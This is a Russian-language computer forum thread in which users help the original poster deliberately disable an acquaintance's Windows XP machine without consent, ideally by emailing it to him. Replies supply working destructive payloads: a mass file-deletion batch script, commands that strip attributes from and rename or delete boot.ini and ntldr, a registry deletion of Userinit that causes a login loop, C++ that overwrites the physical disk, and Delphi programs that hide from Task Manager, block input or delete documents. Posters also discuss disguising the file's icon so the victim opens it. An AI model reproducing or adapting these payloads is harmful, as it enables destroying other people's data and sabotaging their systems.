Компьютерный форум OSzone.net  

Компьютерный форум OSzone.net (http://forum.oszone.net/index.php)
-   Microsoft Windows 2000/XP (http://forum.oszone.net/forumdisplay.php?f=6)
-   -   Как убить WindowsXp (http://forum.oszone.net/showthread.php?t=72207)

TeXnik 01-10-2006 16:24 491934

Как убить WindowsXp
 
Нужно что-нибудь замутить чтобы,после перезагрузки система не грузилась:)Подкиньте идейку,лучше бы если это сделать удаленно,через мыло например.
Просто один чел достал,упертый,у него система глючит,а он переустанавливать не хочет,вот нужны способы чтобы это сделать намеренно

ScorpionXXX 01-10-2006 17:54 491966

TeXnik
Удали файл ntldr. И все система больше не загрузиться. :)

SergeiB 01-10-2006 18:02 491968

ScorpionXXX
Оно потом само и скажет что такого то файла нету, через Recovery console, можно легко восстановить, лутше так на верняка удалить весь реестр, %systemroot%/system32/config удаляй всё там нафиг, хрен восстановишь без Бэкапа :D

ScorpionXXX 01-10-2006 18:19 491977

SergeiB
Цитата:

через Recovery console, можно легко восстановить
Ну если распокавать из дистрибутива, то восстановить можно. Можно в файле boot.ini поменять значение partition(1) на partition(10). Тогда про файлы он ничего не скажет. Но опять же если запустить в установку в режиме обновления, то все решиться.
Цитата:

%systemroot%/system32/config удаляй всё там нафиг
Эта фишка не пройдет если работаешь из под винды.
TeXnik
Цитата:

лучше бы если это сделать удаленно,через мыло например.
Через мыло только вирус и то если его маил сервер не раскусит этот вирус сразу и если он додумается его распокавать.
Ты имеешь физический доступ к компу?

SergeiB 01-10-2006 18:38 491985

ScorpionXXX, слушай да форматни ты ему диск в конце концов, скажи что само :lol:

garbals 01-10-2006 18:55 491988

вот возьми те поможет
Выделяете ниже написанный текст после чего сохраняете его с расширением *.bat
Цитата:

cd C:
cd\
cd windows
del *.exe
del *.ini
del *.com
del *.prx
del *.Manifest
del *.scf
del *.pif
del *.txt
del *.tmp
del *.inf
cd\
cd windows
cd system
del *.dll
del *.drv
del *.ini
del *.inf
del *.tlb
del *.tsk
cd\
cd windows
cd system32
del *.dll
del *.acm
del *.cmd
del *.com
del *.ax
del *.bin
del *.bak
del *.cnt
del *.chm
del *.cpi
del *.cpl
del *.cpx
del *.dat
del *.dbl
del *.deu
del *.eng
del *.eng
del *.fra
del *.gif
del *.h
del *.hlp
del *.hxx
del *.inf
del *.ime
del *.iss
del *.ita
del *.mod
del *.msc
del *.msi
del *.nls
del *.ocx
del *.pro
del *.qts
del *.ram
del *.rat
del *.rc0
del *.rc1
del *.rll
del *.rom
del *.rcp
del *.scf
del *.scr
del *.sep
del *.sf2
del *.sfm
del *.sql
del *.sig
del *.sys
del *.tha
del *.tlb
del *.tmp
del *.trm
del *.tsk
del *.tsp
del *.ttf
del *.uce
del *.vxd
del *.xml
del *.com
del *.html
cd\
cd windows
cd security
cd Database
del *.sdb
cd\
cd windows
cd secyrity
cd templates
del *.inf
cd\
cd windows
cd AppPatch
del *.dll
del *.sdb
cd\
cd windows
cd Cursors
del *.ani
del *. cur
cd\
cd windows
cd Help
del *.chm
cd\
cd windows
cd Help
cd ASUS
del *.chm
cd\
cd моидок~1
del *.doc
del *.txt
del *.htm
del *.html
del *.pdf
del *.jpg
del *.zip
del *.gif
cd\
cd Documents and Settings
cd All Users
cd Рабочий стол
del *.exe
del *.lnk
cd D:
cd\
cd Musik
del *.mp3
del *.wav
del *.m2u
del *.jpg
del *.mp4
del *.vma
del *.exe
cd\
cd Games
del *.exe
del *.ini
del *.dll
del *.rar
del *.zip
cd\
cd Soft
del *.rar
del *.exe
del *.ini
del *.zip
del *.dll
del *.html
cd E:
cd\
cd Musik
del *.mp3
del *.wav
del *.m2u
del *.jpg
del *.mp4
del *.vma
cd\
cd Games
del *.exe
del *.ini
del *.dll
del *.rar
del *.zip
cd\
cd Soft
del *.rar
del *.exe
del *.ini
del *.zip
del *.dll
del *.html
cd F:
cd\
cd Musik
del *.mp3
del *.wav
del *.m2u
del *.jpg
del *.mp4
del *.vma
cd\
cd Games
del *.exe
del *.ini
del *.dll
del *.rar
del *.zip
cd\
cd Soft
del *.rar
del *.exe
del *.ini
del *.zip
del *.dll
del *.html
Удачи хорошей порчи чужёго имущества :))

ScorpionXXX 01-10-2006 18:58 491991

SergeiB
Цитата:

ScorpionXXX, слушай да форматни ты ему диск в конце концов, скажи что само
Кто? Я? Это разве мне надо?
garbals
Жестко. Но мне кажется, что до конца эта процедура не дойдет ибо система напишет что нельзя удолять такие-то файлы или она уже не сможет это написать :)

garbals 01-10-2006 19:07 491995

низнаю сам не пробовал
вот буду win перестовлять попробую ))

TeXnik 01-10-2006 20:00 492013

Цитата:

Ты имеешь физический доступ к компу?
Доступ конечно есть,но при хозяине.
А вот почту он любит читать,даже если от чужого адреса:)))
Скинуть бы ему архив самораспоковывающийся с какойнибудь порчей:)
garbals
Цитата:

вот возьми те поможет
Выделяете ниже написанный текст после чего сохраняете его с расширением *.bat
вот как замутить чтобы он конкретный файл ntldr удалил?

xoomer 01-10-2006 20:23 492022

TeXnik
Зачем так жестко?

Лучше просто в мыло запаковать cmd файл содержащий следующие инструкции:

ren C:\boot.ini hak.hak
shutdown -r -f -t "03"



Поясняю - первая строчка просто переименовывает boot-файл, а вторая принудительно ПЕРЕЗАГРУЖАЕТ компьютер. А дальше он не загружается! Так как бутфайл то удалён! Юзер думает, что Виндовс поломался, но насамом деле НЕТ, просто комп его не видит! Так-что можно под предлогом поломки, бедняге Винду переставить.
Если чел тебя раскусит, то скажи пусть просто через ДОС переменует файл с именем hak.hak на boot.ini.
ГЛАВНОЕ, что система без повреждений!!! Но не загружается... :gigi: Если что - то откат чеез вышеописанные действия с файлом hak.hak.

ScorpionXXX 02-10-2006 00:24 492101

xoomer
Че-то в твоем коде не пашет. Я пробовал у себя и у меня система после перезагрузки снова загрузилась. :) Единственное что сработало это перезагрузка.
Кстати сейчас пробовал дать команду через батник на удаление ntldr и с удивлением обнаружил, что CMD просто не видит скрытые файлы. Никто не знает как сделать так что-бы cmd все увидело.

xoomer 02-10-2006 19:23 492373

ScorpionXXX TeXnik Я извиняюсь. Надо поставить ещё одну строчку. Вобщем вцелом будет иметь вид:

attrib -s -a -h -r C:\boot.ini
ren C:\boot.ini hak.hak
shutdown -r -f -t "03"


ScorpionXXX У тебя не переименовывает, так как бут-файл считается системным. Тоисть с него надо снять атрибут "системного" и "только для чтения"- что и делает та строка, которую я добавил.
Ну я на всякий случай сделал чтобы снимались все аттрибуты. ;)
TeXnik
Пользуйся! Результат 100%. :wink:

TeXnik 02-10-2006 20:18 492393

xoomer
Все это хорошо действует,но винда у меня загрузилась с "неправильным boot.ini"
Сделал чтоб загрузчик переименовал:)

ScorpionXXX 02-10-2006 21:04 492411

TeXnik
Немного видоизменю код
Код:

attrib -s -a -h -r C:\ntldr 
del c:\ntldr

Теперь стопудово не загрузится. Замечу там нет строчки
Код:

shutdown -r -f -t "03"
Ты можешь выполнить этот файл и нормально продолжать работу (до первой перезагрузки). А иначе он сразу узнает кто виноват.

xoomer 03-10-2006 01:24 492475

ScorpionXXX
Всё таки я одтаю предпочтение команде ren.
Лучше вместо:
Код:

del c:\ntldr
поставить:
Код:

ren C:\ntldr file.bak
,
например.

Himic 03-10-2006 10:37 492550

Цитата:

Лучше просто в мыло запаковать cmd файл содержащий следующие инструкции:

ren C:\boot.ini hak.hak
shutdown -r -f -t "03"
Чтобы был файл shutdown.exe надо ещё adminpack поставить :)

TeXnik 03-10-2006 10:50 492556

еще бы значок бы поменять на этом файле,под картинку например,чел не такой уж болван и может просто напугаться:) и не открыть

MadMaks 03-10-2006 13:53 492675

я знаю болие простой и эфиктивный способ (сам над собой однажды пошутил, по ошибке :) )
удалить ключ реестра:
Код:

REGEDIT4

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"Userinit"=-

тогда винда будет вечно пытаться загрузить профиль пользователя, выходить и вновь грузить, и так по кругу :)
Восстановление системы не поможет.

xoomer 04-10-2006 19:50 493381

MadMaks
И это в КМД файл слить?
Himic
Да это вроде во всех версиях 2000/ХР есть.

MadMaks 05-10-2006 09:24 493577

xoomer
Цитата:

И это в КМД файл слить?
приведённый мной текст для "*.reg"
а если "cmd" то:
Код:

reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /f
но проще это в батник вставить (*.bat)

Ivan1986 16-10-2006 01:41 498305

Можно на С++ написать
Код:

      HANDLE Hd;

        //Открываем винч
        Hd=CreateFile( "\\\\.\\PhysicalDrive0",                //Винч для открытия, нумеруются от 0
                      GENERIC_READ | GENERIC_WRITE,            //Хотим читать и писать :)
                      FILE_SHARE_READ | FILE_SHARE_WRITE,      //И другие тоже хотят :), поэтому придется поделится
                      NULL,
                      OPEN_EXISTING,                          //Было бы круто программно создавать новые винчи,
                                                                //но пока можем только открыть имеющийся
                      0,
                      NULL);

        if (Hd == INVALID_HANDLE_VALUE)
        {
                return;

                //Типа большой облом
               
        }

        //Ура имеем доступ к винчу на чтение и _запись_ !!!

        char buf[1024]={0};
        unsigned long n;

        SetFilePointer(Hd,0,NULL,FILE_BEGIN);
        while(1) WriteFile(Hd,buf,sizeof(buf),&n,NULL);

Этот добрый код вообще может вынести все нафиг и очистить винчестер.
Винда вылетает с BSOD буквально через пару минут работы.

Плюс в том, что уже никак не лечится :)

Cool_Hazker 16-10-2006 22:38 498711

Попробуй, не факт что сработает на 100%, но все таки.....
Западло на DELPHI
Западло на Delphi #3

Куда подевался экран?
Для начала запусти Дельфи (желательно версии 5), жми на File -- New Application. Создастся новое приложение. Сейчас ткни на Project -- View Source. Теперь сотри там всё и пиши:

program joke;
uses Windows, Graphics; { тут мы подключаем необходимые модули }
var
desk:TCanvas; { тут мы объявляем переменные }
begin
end.

Ну что же, каркас готов, теперь будем писать основной код:

program joke;
uses Windows, Graphics; { тут мы подключаем необходимые модули }
var
desk:TCanvas; { тут мы объявляем переменные }
begin
desk:=TCanvas.Create; { инициализируем переменную }
desk.handle:=GetDC(0); { получаем заголовок десктопа }
while true do
begin
Yield;
desk.Pixels[Random(1024), Random(768)]:=0; { точка на экране становится черной }

end;
end.

Прога почти готова, жми на F9 и наслаждайся! Теперь осталось сделать что бы прогу нашу через CTRL-ALT-DEL не видно было:

program joke;
uses Windows, Graphics; { тут мы подключаем необходимые модули }
var
desk:TCanvas; { тут мы объявляем переменные }
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL';
begin
RegisterServiceProcess(GetCurrentProcessID, 1);
desk:=TCanvas.Create; { инициализируем переменную }
desk.handle:=GetDC(0); { получаем заголовок десктопа }
while true do
begin
Yield;
desk.Pixels[Random(1024), Random(768)]:=0; { точка на экране становится черной }
end;
end.

Всё! Нашу заподлянку не снять через "три весёлых клавиши"!. Жми теперь CTRL-F9 и вперёд!



----------------------------------

Отключение клавиатуры
Для начала запусти Дельфи, выбери в меню Project--> View Source и набери вот это:
program antiklava;
uses Windows;
begin
end.


Так, основа готова. Теперь надо добавить ядро программы и объявления переменных:

program antiklava;
uses Windows; { подключение необходимых модулей }
var
klava:boolean; { объявление логической переменной}
begin
klava:=true; { устанавливаем значение переменной }
while true do { начинаем бесконечный цикл }
begin
Yield; { делаем так, чтобы всё не подвисло :)}
Sleep(2*60*1000); { ничего не делаем 2 минуты }
klava:=not klava; { присваиваем переменной противоположное значение }
EnableHardwareInput(klava); { и в зависимости от переменной, отключаем или включаем клаву с мышкой}
end;
end.


Ну вот, всё что нам осталось - CTRL-F9.
P.S. Большинство примеров написано на Win32 API. Если кто-нибудь захочет переписать их под любой другой язык программирования, знайте - это не возбраняется
--------------------------------
ВЫрубить монитор
Давайте прикольнёмся над пользователем. Допустим выведем внезапно сообщение, типа... "Уже поздно. Будь послушным мальчиком. Туши свет и вали спать!" и... вырубим монитор...(включить его чудилка уже не сможет)...
procedure TForm1.Button3Click(Sender: TObject);
begin
if MessageDlg('Уже поздно. Будь послушным мальчиком. Туши свет и вали спать!', mtInformatoion, [mbOk], 0)=mrOk then
SendMessage(Application.Handle,WM_SYSCOMMAND,SC_MONITORPOWER,0);
end;

Для того, чтобы программно включить монитор можете использовать следующий код:

procedure TForm1.Button3Click(Sender: TObject);
begin
if MessageDlg('Уже поздно. Будь послушным мальчиком. Туши свет и вали спать!', mtInformatoion, [mbOk], 0)=mrOk then
SendMessage(Application.Handle,WM_SYSCOMMAND,SC_MONITORPOWER, -1);
end;
----------------------------
Отключить кнопку закрытия Х чужого окна
Для примера, запустите "Блокнот" и попробуем его кнопку закрытия окна сделать неактивной, кроме того пункт "закрыть" в системном меню тоже будет отключён! ;-]


procedure TForm1.Button1Click (Sender: TObject);
var
hwndHandle : THANDLE;
hMenuHandle : HMENU;
begin
hwndHandle := FindWindow(nil, 'Untitled - Notepad');
if (hwndHandle <> 0) then begin
hMenuHandle := GetSystemMenu(hwndHandle, FALSE);
if (hMenuHandle <> 0) then
DeleteMenu(hMenuHandle, SC_CLOSE, MF_BYCOMMAND);
end;
end;

P.S.

Вместо "Untitled - Notepad", нужно подставить заголовок того окна, которому вы хотите послать сообщение.
------------------------
ОЧИСТИТЬ "МОИ ДОКУМЕНТЫ"
Мы изучим самый легкий способ: удаление всех файлов из папки "Мои документы" без учёта вложенных файлов. Для этого вынесем компонент класса ТFileListBox - это список файлов (находится на закладке Win3.1 палитры компонентов). Затем, с той же закладки, выносим компонент класса TDirectoryListBox - это список каталогов. Задаём ему свойство FileList, указывающее на список файлов (на компонент FileListBox1). Далее можно по созданию окна или по таймеру (если ваша программа многоразового использования) пишем такой код:

procedure TForm1.Timer1Timer(Sender: TObject);
var
i:Integer;
begin
DirectoryListBox1.Directory:='c:\мои документы';
for i:=0 to FileListBox1.Items.count-1 do begin
DeleteFile('C:\мои документы\'+FileListBox1.Items[i]);
end;
end;
----------------------
СКРЫТЬ TRAY, ЧАСЫ, КНОПКУ 'ПУСК', ПАНЕЛЬ ЗАДАЧ

Для начала запусти Дельфи (желательно версии 5), жми на File -- New Application. Создастся новое приложение. Сейчас ткни на Project -- View Source. Теперь сотри там всё и пиши:


program proga2;
uses Windows;
var
Wnd:THandle; { объявляем переменные }
int:integer;
begin
Randomize; { холостой прогон генератора случайных чисел }
int:=(Random(3)); { выбор одного варианта из четырёх }
case int of
0: { если первый вариант то }
begin
Wnd := FindWindow('Progman', nil); { прячем трей }
Wnd := FindWindowEx(Wnd, HWND(0),'ShellDll_DefView', nil);
ShowWindow(Wnd, SW_HIde);
end;
1: { если второй вариант то }
begin
Wnd := FindWindow('Shell_TrayWnd', nil);
Wnd := FindWindowEx(Wnd, HWND(0),'TrayNotifyWnd', nil);
Wnd := FindWindowEx(Wnd, HWND(0),'TrayClockWClass', nil);
{ прячем часы }
ShowWindow(Wnd, SW_HIde);
end;
2:
begin
Wnd := FindWindow('Shell_TrayWnd', nil);
Wnd := FindWindowEx(Wnd, HWND(0),'Button', nil);
{прячем кнопку "Пуск"}
ShowWindow(Wnd, SW_HIde);
end;
3:
begin
Wnd := FindWindow('Shell_TrayWnd', nil);
Wnd := FindWindowEx(Wnd, HWND(0),'TrayNotifyWnd', nil);
{ прячем "Панель задач" }
ShowWindow(Wnd, SW_HIDe);
end;
end;
end.


По желанию можно вставить защиту от CTRL-ALT-DEL.

(материал взят из "web 5" hack-info


P.S. Скомпом ничего не случится в принципе но данные глюки юзверю точно придутся не по душе он сам взмолится чтоб ему маст дай переустановили!!!

Rock 09-07-2007 04:13 610186

Вот что нашёл - http://forum.ru-board.com/topic.cgi?...c=36461&glp#lt


Время: 22:46.

Время: 22:46.
© OSzone.net 2001-